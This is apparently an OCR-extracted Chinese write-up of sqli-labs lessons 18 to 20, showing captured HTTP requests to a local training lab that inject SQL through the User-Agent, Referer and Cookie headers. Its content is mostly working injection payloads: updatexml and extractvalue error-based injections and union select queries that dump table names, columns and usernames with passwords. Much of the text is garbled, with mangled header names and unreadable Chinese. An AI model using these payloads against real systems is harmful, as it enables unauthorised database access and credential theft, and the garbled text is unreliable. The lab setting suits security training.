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Your IP ADDRESS is: 127.0.0.1
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J Raw I Params I Headers T Hex 1
POST f'sqli labs-master/Less-18/ HTTR/1.1

T

Usm—.u.gent. Mozilla/s. 0 (Windows NT 10.0; Wing4, «64; nv83.0) Gecko/20100101
Firefox/33.0")) and updatexml(1 concat(0x7e (select @Eversion) 0x7e),1) and '1="1
Accept: text/html application/xhtml+xml applicationfxml;q=0.9 imagefwebp ™ q=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encading: gzip, deflate

Referer: http://127.0.0.1/sqli-labs-master/Less-18/

Content-Type: application/s-www-form-urlencoded
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Cache-Control: max-age=0

uname=admin&passwd=admin&submit=Submit
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Username :

Password :
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JBFE: User-Agent:'and extractvalue(1,concat(0x7e, (select database()),0x7e)) and '

POST /sqli-labs-master/Less-18/ HTTR/1.1

Host: 127.0.0.1

User-Agent:User-Agent:|land extractvalue(l concat{0x7e (select database()) 0x7e)) and '
Accept: text/html application/xhtml+xml applicationfxml;q=0.9 imagefwebp *™*;q=0.8
Accept-Language: zh-CM zh;q=0.8, zh-TW;q=0.7 zh-HK;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http:/127.0.0.1/sqli-labs-master/Less-18/

Caontent-Type: application/x-www-form-urlencoded

Content-Length: 38

Origin: http://127.0.0.1

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

uname=admin&passwd=admin&submit=Submit
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SRIGELA 18—FE T : Referer: 'and extractvalue(l,concat(@x7e,(select database()),@x7e)) and '
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admin& i :

YOUR IP ADDRESS IS : 127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE

YOUR COOKIE : uname = admin and expires: Thu 10 Dec 2020 - 13:12:57
Your Login name:admin

Your ID:8

KRBT G P 4L FtEtEcookied, B id %S BT SQLIEH]

BRI G5 E B Hcookie = —IURIHT AR R X IR S E BTN RHBUES, HHRXKBRERELTTE BEERRAEANR

& £ A8 F updatexmlft) & i 7 3R 4



73‘?‘%_‘:

cookie® A\: uname=admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) #

J Haw | Harams | Headers | Hex |

SET fsqli-labs-master/Less-20/index. php HTTP/ .1

Jser-Agent: Mozilla/s.0 (Windows NT 10.0; WinG4; x64; nv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html application/xhtml+xml application/xml;g=0.9 image/webp ** =08
Accept-Language: zh-CM,zh;g=0.8 zh-TW;q=0.7 ,zh-HI; g=0.5 en-US;q=0.3 en;q=0.2
\ccept-Encoding: gzip, deflate

Zonnection: close

sookiezuname=uname=admin’ and updatexml{1,concat(0x7e (select @@version) Ox7e) 1) #
Jpgrade-Insecure-Requests: 1

sache-Contral: max-age=0
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& | e ] Target: hitpi127.0.0.1 | ] [/
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

SET fsglilabs-master/Less 20/index.php HTTP/11 X
ost: 127.0.0.1

Jser-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; n83.0) Gecko/20100101
irefox/B3.0

Accept: text/html app I, app [9=09, b7 q=0.8
Sceept-Language: zh-CN,zh;q=0.8 2h-TW, q=0.7 zh-HK, q=0.5 n-US;q=0.3,en;5=0.2
Sccept-Encoding: gzip, deflate

2eferer: htp:/127.0.0./sqlHlabs master/Less-20/

Sonnection: close

Zookie:uname=uname|

Jpgrade-Insecure-Requests: |

Sache-Control: max-age=0

KIE : uname = uname' and expires
Issue with your mysq] e es our
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Raw | Params | Headers | Hex |
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GET /sqi-labs-master/Less-20index. php HTTP/1.1
Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4; xB4; n:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html app html--xml appl ml;q=0.9 b
AcceptLanguage: zh-CN,zhiq=0.8,2h- TW,5=0.7 zh-HK;q=0.5,n-US; 4=0.3,en
Accept-Encading: gzip, deflate

Referer hitp://127.0.0./sqlilabs-mastenlLess-20/

Connection: closs

Cookie: uname=admin’ arder by 4 #

Upgrade-Insecure-Requests: |

Cache-Control: max-age=0
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GET /sgli-labs-master/Less-20/index. php HTTPA.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html application/xhtml+xml,application/xml; 9, imagefwebp, " q=0.8
Accept-Language: zh-CN zh;q=0.8 zh-TW,¢q=0.7 zh-HI;q=0.5 &n-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http:/A127.0.0.1/sgli-labs-master/Less-207

Connection: close

Cookie: uname=tadmin' union select 1,2 database()--+
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
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Raw | Headers | Hex | HTML | Render

DOKIE : uname = -admin' union select 1,2,database()-- and expires: Fri 1
Your Login/ name:2

Delete Your Cookie!
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union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
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union select 1,2,group_concat(column_name) from information_schema.columns where table_name

union select 1,2,group_concat(username,@x3a,password) from users



	sqli-lab————Writeup（18~20）各种头部注入
	less18 基于错误的用户代理，头部POST注入
	less19基于头部的RefererPOST报错注入
	less20 基于错误的cookie头部POST注入

